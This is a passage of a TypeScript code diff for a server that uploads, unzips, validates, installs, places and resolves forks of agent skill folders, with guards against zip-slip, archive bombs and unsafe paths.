+ parts.push({ relPath: info.filename || 'file', data: Buffer.concat(chunks) });
+ });
+ });
+ bb.on('error', reject);
+ bb.on('close', () => (aborted ? reject(aborted) : resolveP(parts)));
+ req.pipe(bb);
+ });
+ }
+
+ /** Unpack a `.zip` buffer into `destDir`, rejecting zip-slip + oversize/bomb. */
+ function unzipBufferToDir(buffer: Buffer, destDir: string): Promise<void> {
+ return new Promise((resolveP, reject) => {
+ yauzlFromBuffer(buffer, { lazyEntries: true }, (err, zip?: ZipFile) => {
+ if (err || !zip) {
+ reject(err ?? new Error('Unreadable archive.'));
+ return;
+ }
+ let total = 0;
+ let entries = 0;
+ const fail = (e: unknown) => {
+ try {
+ zip.close();
+ } catch {
+ // best-effort
+ }
+ reject(e instanceof Error ? e : new Error(String(e)));
+ };
+ zip.on('entry', (entry: Entry) => {
+ if (++entries > UPLOAD_MAX_FILES) {
+ fail(new Error('Archive has too many entries.'));
+ return;
+ }
+ const abs = resolveUploadPath(destDir, entry.fileName);
+ if (!abs) {
+ fail(new Error(`Unsafe archive entry: ${entry.fileName}`));
+ return;
+ }
+ // Directory entries end in `/`.
+ if (entry.fileName.endsWith('/')) {
+ tracedMkdirSync(abs, { recursive: true });
+ zip.readEntry();
+ return;
+ }
+ if (entry.uncompressedSize > UPLOAD_MAX_ENTRY_BYTES) {
+ fail(new Error(`Archive entry too large: ${entry.fileName}`));
+ return;
+ }
+ zip.openReadStream(entry, (e2, rs) => {
+ if (e2 || !rs) {
+ fail(e2 ?? new Error('Could not read archive entry.'));
+ return;
+ }
+ const chunks: Buffer[] = [];
+ rs.on('data', (c: Buffer) => {
+ total += c.length;
+ if (total > UPLOAD_MAX_TOTAL_BYTES) {
+ rs.destroy();
+ fail(new Error('Archive expands beyond the size limit.'));
+ return;
+ }
+ chunks.push(c);
+ });
+ rs.on('error', fail);
+ rs.on('end', () => {
+ // These throw, and a throw from a stream listener escapes the
+ // surrounding promise entirely — it lands as an uncaughtException
+ // and takes the whole server (every open collab session) with it.
+ // An archive holding both `foo` and `foo/a.md` is enough: the
+ // second entry's mkdir hits ENOTDIR on the file the first wrote.
+ try {
+ tracedMkdirSync(dirname(abs), { recursive: true });
+ tracedWriteFileSync(abs, Buffer.concat(chunks));
+ } catch (writeErr) {
+ fail(writeErr instanceof Error ? writeErr : new Error(String(writeErr)));
+ return;
+ }
+ zip.readEntry();
+ });
+ });
+ });
+ zip.on('end', () => resolveP());
+ zip.on('error', fail);
+ zip.readEntry();
+ });
+ });
+ }
+
+ // `POST /api/skill-upload` — acquire a skill from UPLOADED BYTES (a `.zip` of a
+ // skill dir, or a folder's files) rather than a fetched source. Multipart, so
+ // `scope`/`agentId` ride the query string (the body is file parts). Unpacks to
+ // a temp dir, then runs the shared import spine (`runSkillImport`). Never
+ // executes scripts — they are content, like the by-reference import.
+ async function handleSkillUpload(req: IncomingMessage, res: ServerResponse): Promise<void> {
+ const tmp = mkdtempSync(join(tmpdir(), 'ok-skill-upload-'));
+ const cleanup = () => {
+ try {
+ tracedRmSync(tmp, { recursive: true, force: true });
+ } catch {
+ // best-effort; orphan sweep catches stragglers
+ }
+ };
+ try {
+ if (!projectDir) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'No project root resolved.', {
+ handler: 'skill-upload',
+ detail: 'NO_PROJECT_ROOT',
+ });
+ return;
+ }
+ if ((req.method ?? '').toUpperCase() !== 'POST') {
+ errorResponse(res, 405, 'urn:ok:error:invalid-request', 'Use POST to upload a skill.', {
+ handler: 'skill-upload',
+ });
+ return;
+ }
+ const url = new URL(req.url ?? '', 'http://localhost');
+ const scope = parseSkillScope(url.searchParams.get('scope'), res, 'skill-upload');
+ if (!scope) return;
+ // This route carries its identity in the QUERY (the body is the multipart
+ // upload), so the fields have to be lifted by hand — but all of them, not
+ // just `agentId`. Dropping the rest left uploaded skills with an anonymous
+ // author and no summary, while the identical import spine recorded both.
+ const queryField = (key: string): string | undefined =>
+ url.searchParams.get(key) ?? undefined;
+ const actor = extractActorIdentity(
+ {
+ agentId: queryField('agentId'),
+ agentName: queryField('agentName'),
+ colorSeed: queryField('colorSeed'),
+ clientName: queryField('clientName'),
+ summary: queryField('summary'),
+ },
+ getPrincipal,
+ );
+ if (actor.kind === 'invalid-summary') {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Summary must be a string.', {
+ handler: 'skill-upload',
+ });
+ return;
+ }
+
+ let parts: UploadedPart[];
+ try {
+ parts = await readSkillUploadParts(req);
+ } catch (e) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Could not read the upload.', {
+ handler: 'skill-upload',
+ cause: e,
+ });
+ return;
+ }
+ if (parts.length === 0) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'No files uploaded.', {
+ handler: 'skill-upload',
+ });
+ return;
+ }
+
+ // A single `.zip`/`.skill` part → unpack it; otherwise the parts ARE the
+ // skill folder (webkitdirectory upload), written at their relative paths.
+ const single = parts.length === 1 ? parts[0] : null;
+ const zipName = single && /\.(zip|skill)$/i.test(single.relPath) ? single.relPath : null;
+ if (single && zipName) {
+ try {
+ await unzipBufferToDir(single.data, tmp);
+ } catch (e) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Could not unpack the archive.', {
+ handler: 'skill-upload',
+ cause: e,
+ });
+ return;
+ }
+ } else {
+ for (const part of parts) {
+ const abs = resolveUploadPath(tmp, part.relPath);
+ if (!abs) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Unsafe file path in upload.', {
+ handler: 'skill-upload',
+ detail: part.relPath,
+ });
+ return;
+ }
+ tracedMkdirSync(dirname(abs), { recursive: true });
+ tracedWriteFileSync(abs, part.data);
+ }
+ }
+
+ const dirs = discoverSkillDirs(tmp);
+ if (dirs.length === 0) {
+ errorResponse(res, 404, 'urn:ok:error:not-found', 'No SKILL.md found in the upload.', {
+ handler: 'skill-upload',
+ });
+ return;
+ }
+ if (dirs.length > 1) {
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ 'Upload contains multiple skills; upload one at a time.',
+ { handler: 'skill-upload', detail: dirs.map((d) => d.name).join(', ') },
+ );
+ return;
+ }
+ const pick = dirs[0];
+ respondSkillImport(
+ res,
+ await runSkillImport({
+ acquiredDir: pick.dir,
+ scope,
+ sourceLabel: `upload:${zipName ?? pick.name}`,
+ upstreamSkill: pick.name,
+ actor,
+ }),
+ );
+ } catch (e) {
+ errorResponse(res, 500, 'urn:ok:error:internal-server-error', 'Failed to upload skill.', {
+ handler: 'skill-upload',
+ cause: e,
+ });
+ } finally {
+ cleanup();
+ }
+ }
+
+ // `POST /api/skill/install` — project a skill's `.ok/skills/<name>/` source
+ // into the project-configured editor host dirs. This is a local-op
+ // projection (writes host dirs on this machine, OUTSIDE the content/CRDT
+ // plane), not an attributed content mutation — the SOURCE edit is what gets
+ // attributed. Validates the source FIRST (pre-install gate) so a
+ // conflicted/malformed SKILL.md never lands verbatim in an agent's context.
+ const handleSkillInstall = withValidation(
+ SkillInstallRequestSchema,
+ async (_req, res, body) => {
+ try {
+ const skillsRoot = resolveSkillsRoot(body.scope);
+ if (!validateSkillName(body.name, res, 'skill-install')) return;
+
+ // Project skills install into the project's host dirs (require a
+ // resolved project root); global skills install into the user-global
+ // host dirs (`<home>/.{host}/skills/`), which need no project. `base` is
+ // both the cwd `projectSkill` resolves host dirs against AND where the
+ // install marker lives (project marker vs user marker).
+ if (body.scope === 'project' && !projectDir) {
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ 'Cannot install — no project root is resolved for this server. Skills project into editor host dirs at the project root.',
+ { handler: 'skill-install', detail: 'NO_PROJECT_ROOT' },
+ );
+ return;
+ }
+ const base = skillInstallBase(body.scope) as string;
+
+ // IN-PLACE skills: the source is the native
+ // editor-dir canonical, not the `.ok/skills` store; fan-out below runs
+ // through the guarded copy primitives, and the scan (not the install
+ // marker) is the truth for its host set.
+ const storeSkillDir = resolve(skillsRoot, body.name);
+ const inPlaceScanBase = body.scope === 'project' ? contentDir : skillsHome;
+ // Store retirement: the in-place canonical WINS at BOTH scopes (a
+ // same-name `.ok/skills` dir is a placement of the same skill, mirroring
+ // the list + read rules). The legacy store is only the fallback source
+ // for a resident not yet drained.
+ const inPlaceEntry = (
+ body.scope === 'project'
+ ? scanInPlaceSkills(contentDir)
+ : scanGlobalInPlaceSkills(skillsHome)
+ ).find((s) => s.name === body.name);
+ let skillDir = inPlaceEntry ? resolve(inPlaceScanBase, inPlaceEntry.dir) : storeSkillDir;
+ if (!existsSync(skillDir)) {
+ errorResponse(res, 404, 'urn:ok:error:not-found', 'Skill not found.', {
+ handler: 'skill-install',
+ detail: `Skill "${body.name}" not found in ${body.scope} scope — create it with write({ skill }) first.`,
+ });
+ return;
+ }
+
+ // Install validates the SKILL.md ON DISK (name/description non-empty),
+ // but its live CRDT doc may hold unflushed edits — a description typed
+ // in the editor a moment ago is still in the debounced persist window,
+ // so a disk read would false-fail with "description missing".
+ // Force the pending disk store to land first. No-op when nothing is
+ // debounced (store-backed / never-opened skill); global skills resolve
+ // to a non-content doc that also isn't debounced, so the flush is inert.
+ const liveSkillDoc =
+ body.scope === 'project'
+ ? `${relative(inPlaceScanBase, skillDir).split(sep).join('/')}/SKILL`
+ : skillLiveDocName(body.scope, body.name);
+ await flushDiskAndDetectOutcome(liveSkillDoc);
+
+ const validity = validateSkillForInstall(skillDir, body.name);
+ if (!validity.ok) {
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ `Skill "${body.name}" cannot be installed: ${validity.errors.join(' ')}`,
+ { handler: 'skill-install', detail: 'INVALID_SKILL_SOURCE' },
+ );
+ return;
+ }
+
+ // ── Fork resolution (same name, different bytes in a non-canonical
+ // editor dir). Its own operation: the chip's three verbs. Every path
+ // stashes the bytes it discards to `~/.ok/edit-backups/forks/` first —
+ // resolution is never silently lossy.
+ if (body.fork !== undefined) {
+ // Warnings raised while resolving a fork — surfaced on the response so a
+ // half-completed rename is not reported as a clean success.
+ const forkWarnings: string[] = [];
+ if (!inPlaceEntry) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Skill is not in-place.', {
+ handler: 'skill-install',
+ detail: 'FORK_STORE_BACKED',
+ });
+ return;
+ }
+ const rootMap =
+ body.scope === 'project' ? EDITOR_PROJECT_SKILL_ROOT : EDITOR_USER_SKILL_ROOT;
+ const forkRootRel =
+ body.fork.editor === 'agents'
+ ? '.agents/skills'
+ : (rootMap[body.fork.editor as EditorId] ?? null);
+ if (forkRootRel === null) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Unknown editor.', {
+ handler: 'skill-install',
+ detail: body.fork.editor,
+ });
+ return;
+ }
+ const forkDir = resolve(inPlaceScanBase, forkRootRel, body.name);
+ const canonicalAbs = resolve(inPlaceScanBase, inPlaceEntry.dir);
+ const forkParsed = parseSkillDir(forkDir);
+ if (forkParsed === null || forkDir === canonicalAbs) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'No fork at that editor.', {
+ handler: 'skill-install',
+ detail: 'FORK_ABSENT',
+ });
+ return;
+ }
+ if (forkParsed.contentHash === inPlaceEntry.contentHash) {
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ 'That copy matches the source — nothing to resolve.',
+ { handler: 'skill-install', detail: 'NOT_A_FORK' },
+ );
+ return;
+ }
+ const stamp = new Date().toISOString().replace(/[:.]/g, '-');
+ const stash = (dirAbs: string, label: string): void => {
+ try {
+ const dest = resolve(
+ skillsHome,
+ '.ok',
+ 'edit-backups',
+ 'forks',
+ `${body.name}-${label}-${stamp}`,
+ );
+ tracedMkdirSync(resolve(dest, '..'), { recursive: true });
+ tracedCpSync(dirAbs, dest, { recursive: true });
+ } catch (e) {
+ log.warn({ name: body.name, err: e }, '[skill-fork] stash failed');
+ }
+ };
+ if (body.fork.action === 'align') {
+ // The fork loses: stash it, remove it, re-project the canonical.
+ stash(forkDir, body.fork.editor);
+ tracedRmSync(forkDir, { recursive: true, force: true });
+ projectInPlaceSkill({
+ canonicalAbs,
+ canonicalHash: inPlaceEntry.contentHash,
+ canonicalRootRel: dirname(inPlaceEntry.dir),
+ name: body.name,
+ cwd: inPlaceScanBase,
+ targets: [body.fork.editor as SkillHostId].filter(isSkillInstallTarget),
+ roots: skillProjectionRoots(body.scope),
+ });
+ } else if (body.fork.action === 'make-source') {
+ // The fork wins: stash + remove the old canonical and its same-hash
+ // copies; the fork's dir is then the only real dir and the scan
+ // elects it; re-project to the hosts the skill had.
+ const oldHosts = inPlaceEntry.hosts.filter(isSkillInstallTarget);
+ stash(canonicalAbs, 'source');
+ removeInPlaceSkillCopies({
+ canonicalAbs,
+ canonicalHash: inPlaceEntry.contentHash,
+ name: body.name,
+ cwd: inPlaceScanBase,
+ targets: oldHosts,
+ roots: skillProjectionRoots(body.scope),
+ });
+ tracedRmSync(canonicalAbs, { recursive: true, force: true });
+ const rescanned = (
+ body.scope === 'project'
+ ? scanInPlaceSkills(contentDir)
+ : scanGlobalInPlaceSkills(skillsHome)
+ ).find((sk) => sk.name === body.name);
+ if (rescanned) {
+ projectInPlaceSkill({
+ canonicalAbs: resolve(inPlaceScanBase, rescanned.dir),
+ canonicalHash: rescanned.contentHash,
+ canonicalRootRel: dirname(rescanned.dir),
+ name: body.name,
+ cwd: inPlaceScanBase,
+ targets: oldHosts,
+ roots: skillProjectionRoots(body.scope),
+ });
+ }
+ } else {
+ // Keep both: the fork's dir becomes an independent skill under a
+ // NEW name (frontmatter rewritten in lock-step with the dir).
+ const toName = body.fork.toName as string;
+ if (!SKILL_NAME_REGEX.test(toName)) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Invalid new name.', {
+ handler: 'skill-install',
+ detail: toName,
+ });
+ return;
+ }
+ const scanAll =
+ body.scope === 'project'
+ ? scanInPlaceSkills(contentDir)
+ : scanGlobalInPlaceSkills(skillsHome);
+ if (scanAll.some((sk) => sk.name === toName)) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Name already taken.', {
+ handler: 'skill-install',
+ detail: toName,
+ });
+ return;
+ }
+ const dest = resolve(inPlaceScanBase, forkRootRel, toName);
+ tracedRenameSync(forkDir, dest);
+ // The folder move already happened. If the frontmatter patch below
+ // fails the skill is left half-renamed, which the caller has to
+ // hear about — a 200 with no warnings reads as a clean rename.
+ const skillMdPath = resolve(dest, 'SKILL.md');
+ try {
+ // Patch the YAML region, not the file. A multiline `^name:` regex
+ // matches the first such line ANYWHERE, so a body line reading
+ // `name: …` (a code sample, a config snippet) got rewritten
+ // instead of the frontmatter. Same primitives the duplicate
+ // handler uses.
+ const raw = readFileSync(skillMdPath, 'utf-8');
+ const { fenced, body: skillBody } = detectFmRegion(raw);
+ // presence-exempt: no CRDT write, no agent identity
+ const renamed = applyPatchToFm(fenced, { name: toName });
+ if (renamed.ok) {
+ tracedWriteFileSync(skillMdPath, `${renamed.nextFenced}${skillBody}`);
+ } else {
+ log.warn(
+ { name: toName, reason: renamed.error.kind },
+ '[skill-fork] frontmatter rename failed',
+ );
+ forkWarnings.push(
+ `Renamed the folder to "${toName}", but its SKILL.md still declares the old name — edit the frontmatter to match.`,
+ );
+ }
+ } catch (e) {
+ log.warn({ name: toName, err: e }, '[skill-fork] frontmatter rename failed');
+ forkWarnings.push(
+ `Renamed the folder to "${toName}", but its SKILL.md could not be updated — edit the frontmatter to match.`,
+ );
+ }
+ }
+ signalChannel?.('files');
+ successResponse(
+ res,
+ 200,
+ SkillInstallSuccessSchema,
+ {
+ name: body.name,
+ hosts: inPlaceEntry.hosts.filter(isSkillInstallTarget),
+ scripts: false,
+ warnings: forkWarnings,
+ warningCodes: forkWarnings.length > 0 ? ['skill-fork-name-unpatched'] : [],
+ },
+ { handler: 'skill-install' },
+ );
+ return;
+ }
+
+ // ── Location-verb normalization (additive MCP spellings → internal
+ // ops). `source` ≡ `setSource`; `mode` ≡ `linkMode`. The schema
+ // guarantees `targets` and `source` never combine with `add`/`remove`.
+ const setSourceReq = body.setSource ?? body.source;
+ const linkModeReq =
+ body.linkMode ?? (body.mode !== undefined ? body.mode === 'link' : undefined);
+ // ── Additive `add`/`remove` (stateless location callers): translate
+ // into the set-exact host math + custom-root placement loops. The
+ // source is untouchable here — a skill's source folder IS the skill;
+ // removing it is `delete`, moving it is `source`.
+ let targetsReq = body.targets;
+ const rootAdds: string[] = [];
+ const rootRemoves: string[] = [];
+ if (body.add !== undefined || body.remove !== undefined) {
+ if (!inPlaceEntry) {
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ 'This skill still lives in the legacy .ok/skills store — promote a real location first (`source`) before using add/remove.',
+ { handler: 'skill-install', detail: 'STORE_BACKED_ADDITIVE' },
+ );
+ return;
+ }
+ const stripHome = (id: string) => id.replace(/\\/g, '/').replace(/^~\//, '');
+ const sourceId = inPlaceEntry.hosts[0];
+ if (
+ sourceId !== undefined &&
+ (body.remove ?? []).some((id) => stripHome(id) === sourceId)
+ ) {
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ `"${sourceId}" is the skill's SOURCE — its folder is the skill itself, so removing it would delete the skill. Move the source first (\`source\`) or use \`delete\`.`,
+ { handler: 'skill-install', detail: 'REMOVE_SOURCE' },
+ );
+ return;
+ }
+ const hostSet = new Set(
+ inPlaceEntry.hosts.filter((h): h is SkillHostIdArg => isSkillInstallTarget(h)),
+ );
+ for (const id of body.add ?? []) {
+ if (isSkillInstallTarget(id)) hostSet.add(id);
+ else rootAdds.push(stripHome(id));
+ }
+ // A removed host that is NOT a physical location but READS the skill
+ // through a folder alias (its skills folder symlinked into a pool
+ // root holding the skill) gets the unfollow remedy automatically:
+ // its folder unlinks from the pool EXCLUDING this skill — one verb
+ // means "this agent stops getting the skill" however it got it.
+ const aliasMap = scanHostRootAliases(inPlaceScanBase, body.scope);
+ const aliasUnfollows: string[] = [];
+ // The ADD-side mirror: an added host whose skills folder is an alias
+ // into a pool that does NOT hold this skill would otherwise be a
+ // silent no-op (projection never writes through an alias). One verb
+ // means "this agent gets the skill" however its folder is wired — so
+ // the alias unlinks into per-skill links first (keeping everything it
+ // followed), and the projection below then writes the real bundle.
+ const aliasMaterializes: string[] = [];
+ for (const id of body.add ?? []) {
+ if (
+ isSkillInstallTarget(id) &&
+ aliasMap[id] !== undefined &&
+ !existsSync(resolve(inPlaceScanBase, aliasMap[id], body.name, 'SKILL.md'))
+ ) {
+ const subRoot =
+ id === 'agents'
+ ? '.agents/skills'
+ : ((body.scope === 'project'
+ ? EDITOR_PROJECT_SKILL_ROOT
+ : EDITOR_USER_SKILL_ROOT)[id as EditorId] ?? null);
+ if (subRoot !== null) aliasMaterializes.push(subRoot);
+ }
+ }
+ for (const id of body.remove ?? []) {
+ if (isSkillInstallTarget(id)) {
+ if (
+ !hostSet.has(id) &&
+ aliasMap[id] !== undefined &&
+ existsSync(resolve(inPlaceScanBase, aliasMap[id], body.name, 'SKILL.md'))
+ ) {
+ const subRoot =
+ id === 'agents'
+ ? '.agents/skills'
+ : ((body.scope === 'project'
+ ? EDITOR_PROJECT_SKILL_ROOT
+ : EDITOR_USER_SKILL_ROOT)[id as EditorId] ?? null);
+ if (subRoot !== null) aliasUnfollows.push(subRoot);
+ }
+ hostSet.delete(id);
+ } else rootRemoves.push(stripHome(id));
+ }
+ for (const { subRoot, exclude } of [
+ ...aliasMaterializes.map((subRoot) => ({ subRoot, exclude: undefined })),
+ ...aliasUnfollows.map((subRoot) => ({ subRoot, exclude: [body.name] })),
+ ]) {
+ const r = unlinkEditorSkillFolder({
+ base: inPlaceScanBase,
+ folderRel: subRoot,
+ ...(exclude !== undefined ? { exclude } : {}),
+ });
+ if (r.ok) await recordFolderExpectation(inPlaceScanBase, subRoot, { expect: 'own' });
+ if (!r.ok) {
+ errorResponse(
+ res,
+ 409,
+ 'urn:ok:error:invalid-request',
+ `Could not stop ${subRoot} following its pool (${r.reason}).`,
+ { handler: 'skill-install', detail: r.reason },
+ );
+ return;
+ }
+ }
+ targetsReq = [...hostSet];
+ }
+
+ // SOURCE promotion for a STORE-BACKED skill — a single-skill version of
+ // the boot migration: the clicked host's location becomes the real
+ // folder (the store bundle moves there; a same-hash projection there
+ // just becomes real), sibling symlinks re-point, the install-marker
+ // entry drops (the in-place scan is truth from here on), and the
+ // choice is sticky. Without this branch the click silently no-opped.
+ if (setSourceReq && !inPlaceEntry) {
+ const newSource = setSourceReq as SkillHostId;
+ const moved = relocateInPlaceCanonical({
+ canonicalAbs: skillDir,
+ canonicalHash: parseSkillDir(skillDir)?.contentHash ?? '',
+ name: body.name,
+ cwd: inPlaceScanBase,
+ newTarget: newSource,
+ roots: skillProjectionRoots(body.scope),
+ });
+ if (!moved.ok) {
+ errorResponse(
+ res,
+ 409,
+ 'urn:ok:error:doc-already-exists',
+ 'Cannot move the source there — a different skill occupies the target.',
+ { handler: 'skill-install', detail: moved.reason },
+ );
+ return;
+ }
+ await removeSkillInstall(base, body.name);
+ await recordSkillSourceHost(inPlaceScanBase, body.name, newSource);
+ signalChannel?.('files');
+ const postPromote = (
+ body.scope === 'project'
+ ? scanInPlaceSkills(contentDir)
+ : scanGlobalInPlaceSkills(skillsHome)
+ ).find((s) => s.name === body.name);
+ successResponse(
+ res,
+ 200,
+ SkillInstallSuccessSchema,
+ {
+ name: body.name,
+ hosts: postPromote ? [...postPromote.hosts] : [],
+ scripts: validity.hasScripts,
+ warnings: [],
+ warningCodes: [],
+ sourceMovedTo: relative(inPlaceScanBase, moved.newAbs).split(sep).join('/'),
+ },
+ { handler: 'skill-install' },
+ );
+ return;
+ }
+
+ // One-shot CUSTOM placement: put a copy or symlink of the bundle under
+ // an arbitrary project-relative dir. Guarded like every other fan-out —
+ // containment inside the project, never under `.ok/`, never the source
+ // itself, never clobbering existing content. Recorded machine-locally
+ // so the path-disclosure surfaces list it.
+ if (body.place) {
+ // Project placements are project-relative; GLOBAL placements are
+ // relative to the user home (rendered `~/`-prefixed). A leading `~/`
+ // in the typed path is tolerated at global scope.
+ const placeBase = body.scope === 'project' ? projectDir : skillsHome;
+ if (!placeBase) {
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ 'Cannot place — no project root is resolved for this server.',
+ { handler: 'skill-install', detail: 'NO_PROJECT_ROOT' },
+ );
+ return;
+ }
+ const dirRel = body.place.dir
+ .replace(/\\/g, '/')
+ .replace(/^~\//, '')
+ .replace(/^\/+|\/+$/g, '');
+ const parentAbs = resolve(placeBase, dirRel);
+ const placementRel = `${dirRel}/${body.name}`;
+ const destAbs = resolveSkillPlacementPath(placeBase, placementRel);
+ const baseAbs = resolve(placeBase);
+ // `.ok/` internals are refused; `.ok/skills` is placeable at both
+ // scopes. See `isRefusedOkPlacementRoot` for why that one path is
+ // carved out.
+ const underOkInternals = isRefusedOkPlacementRoot(dirRel);
+ if (
+ dirRel === '' ||
+ destAbs === null ||
+ !destAbs.startsWith(baseAbs + sep) ||
+ underOkInternals
+ ) {
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ 'Placement path must be a project-relative directory outside .ok/.',
+ { handler: 'skill-install', detail: 'PLACE_PATH_INVALID' },
+ );
+ return;
+ }
+ // Asking for the location the skill ALREADY occupies is a satisfied
+ // request, not a bad path. Since imports land in-place at the
+ // `.agents/skills` hub, placing a freshly imported skill there names
+ // its own canonical dir — every caller (the hub toggle on a preview,
+ // `install --place`, MCP) hit an invalid-path error for a skill that
+ // was, in fact, exactly where it was asked to be. Report the location
+ // and change nothing; a real copy/symlink here would be self-referential.
+ if (destAbs === resolve(skillDir)) {
+ successResponse(
+ res,
+ 200,
+ SkillInstallSuccessSchema,
+ {
+ name: body.name,
+ hosts: inPlaceEntry ? [...inPlaceEntry.hosts] : [],
+ scripts: validity.hasScripts,
+ warnings: [],
+ warningCodes: [],
+ placedAt: placementRel,
+ },
+ { handler: 'skill-install' },
+ );
+ return;
+ }
+ if (existsSync(destAbs)) {
+ errorResponse(
+ res,
+ 409,
+ 'urn:ok:error:doc-already-exists',
+ 'Something already exists at that path — placement never overwrites.',
+ { handler: 'skill-install', detail: 'PLACE_DEST_EXISTS' },
+ );
+ return;
+ }
+ tracedMkdirSync(parentAbs, { recursive: true });
+ if (body.place.mode === 'link') {
+ tracedSymlinkSync(relative(parentAbs, resolve(skillDir)), destAbs, 'dir');
+ } else {
+ tracedCpSync(skillDir, destAbs, { recursive: true, dereference: true });
+ }
+ const placedAt = placementRel;
+ await recordSkillPlacement(placeBase, body.name, {
+ path: placedAt,
+ mode: body.place.mode,
+ ...(body.place.mode === 'copy' ? { hash: parseSkillDir(skillDir)?.contentHash } : {}),
+ });
+ signalChannel?.('files');
+ successResponse(
+ res,
+ 200,
+ SkillInstallSuccessSchema,
+ {
+ name: body.name,
+ hosts: inPlaceEntry ? [...inPlaceEntry.hosts] : [],
+ scripts: validity.hasScripts,
+ warnings: [],
+ warningCodes: [],
+ placedAt,
+ },
+ { handler: 'skill-install' },
);
return;
}
- const base = skillInstallBase(body.scope) as string;
- const skillDir = resolve(skillsRoot, body.name);
- if (!existsSync(skillDir)) {
- errorResponse(res, 404, 'urn:ok:error:not-found', 'Skill not found.', {
- handler: 'skill-install',
- detail: `Skill "${body.name}" not found in ${body.scope} scope — create it with write({ skill }) first.`,
- });
+ // One-shot placement REMOVAL (inverse of `place`). Guarded three ways:
+ // only RECORDED placements are removable (the source is never in the
+ // ledger), symlinks + same-hash copies only (lossless), a hand-edited
+ // copy is a fork and is refused, never deleted.
+ if (body.unplace) {
+ const placeBase = body.scope === 'project' ? projectDir : skillsHome;
+ if (!placeBase) {
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ 'Cannot remove a placement — no project root is resolved for this server.',
+ { handler: 'skill-install', detail: 'NO_PROJECT_ROOT' },
+ );
+ return;
+ }
+ const rel = body.unplace.path
+ .replace(/\\/g, '/')
+ .replace(/^~\//, '')
+ .replace(/^\/+|\/+$/g, '');
+ const recorded = readSkillPlacements(placeBase)[body.name]?.find((p) => p.path === rel);
+ if (!recorded) {
+ errorResponse(
+ res,
+ 404,
+ 'urn:ok:error:not-found',
+ 'No recorded placement at that path.',
+ { handler: 'skill-install', detail: rel },
+ );
+ return;
+ }
+ const absDir = resolveSkillPlacementPath(placeBase, rel);
+ if (absDir === null) {
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ 'Recorded placement path is no longer safe.',
+ { handler: 'skill-install', detail: 'PLACE_PATH_INVALID' },
+ );
+ return;
+ }
+ const canonicalHash = parseSkillDir(skillDir)?.contentHash ?? '';
+ switch (classifyInPlaceDest(absDir, resolve(skillDir), canonicalHash)) {
+ case 'different':
+ errorResponse(
+ res,
+ 409,
+ 'urn:ok:error:doc-already-exists',
+ 'That copy has been edited and no longer matches the skill — remove it manually if you mean it.',
+ { handler: 'skill-install', detail: rel },
+ );
+ return;
+ case 'canonical-dir':
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ "That is the skill's own folder (the source) — it can't be removed here.",
+ { handler: 'skill-install', detail: rel },
+ );
+ return;
+ case 'absent':
+ break; // already gone — just drop the record
+ default:
+ tracedRmSync(absDir, { recursive: true, force: true });
+ }
+ await removeSkillPlacement(placeBase, body.name, rel);
+ signalChannel?.('files');
+ successResponse(
+ res,
+ 200,
+ SkillInstallSuccessSchema,
+ {
+ name: body.name,
+ hosts: inPlaceEntry ? [...inPlaceEntry.hosts] : [],
+ scripts: validity.hasScripts,
+ warnings: [],
+ warningCodes: [],
+ },
+ { handler: 'skill-install' },
+ );
return;
}
- const validity = validateSkillForInstall(skillDir, body.name);
- if (!validity.ok) {
- errorResponse(
+ // One-shot PER-LOCATION mode change: make ONE installed location a
+ // symlink to the source, or an independent copy again. The
+ // `linkMode`/`mode` flip converts EVERY location at once — that silent
+ // bulk conversion is the behaviour the install menu no longer offers,
+ // so this row-level verb writes one path and leaves every sibling
+ // alone. Lossless-only: a hand-edited copy is a fork and is refused,
+ // never overwritten.
+ if (body.convert) {
+ if (!inPlaceEntry) {
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ 'This skill still lives in the legacy .ok/skills store — promote a real location first (`source`) before converting one.',
+ { handler: 'skill-install', detail: 'STORE_BACKED_CONVERT' },
+ );
+ return;
+ }
+ const { target, mode } = body.convert;
+ const prefBase = body.scope === 'project' ? projectDir : skillsHome;
+ const roots = skillProjectionRoots(body.scope);
+ const isHost = isSkillInstallTarget(target);
+ const rootRel = isHost
+ ? target === 'agents'
+ ? '.agents/skills'
+ : roots[target as EditorId]
+ : target
+ .replace(/\\/g, '/')
+ .replace(/^~\//, '')
+ .replace(/^\/+|\/+$/g, '');
+ const absDir =
+ rootRel === null || rootRel === ''
+ ? null
+ : resolveSkillPlacementPath(prefBase ?? base, `${rootRel}/${body.name}`);
+ if (rootRel === null || rootRel === '' || absDir === null) {
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ 'That location has no skills folder to convert.',
+ { handler: 'skill-install', detail: target },
+ );
+ return;
+ }
+ const canonicalAbs = resolve(skillDir);
+ const canonicalHash = inPlaceEntry.contentHash;
+ const cls = classifyInPlaceDest(absDir, canonicalAbs, canonicalHash);
+ if (cls === 'canonical-dir') {
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ "That is the skill's own folder (the source) — move the source instead of converting it.",
+ { handler: 'skill-install', detail: target },
+ );
+ return;
+ }
+ if (cls === 'different') {
+ errorResponse(
+ res,
+ 409,
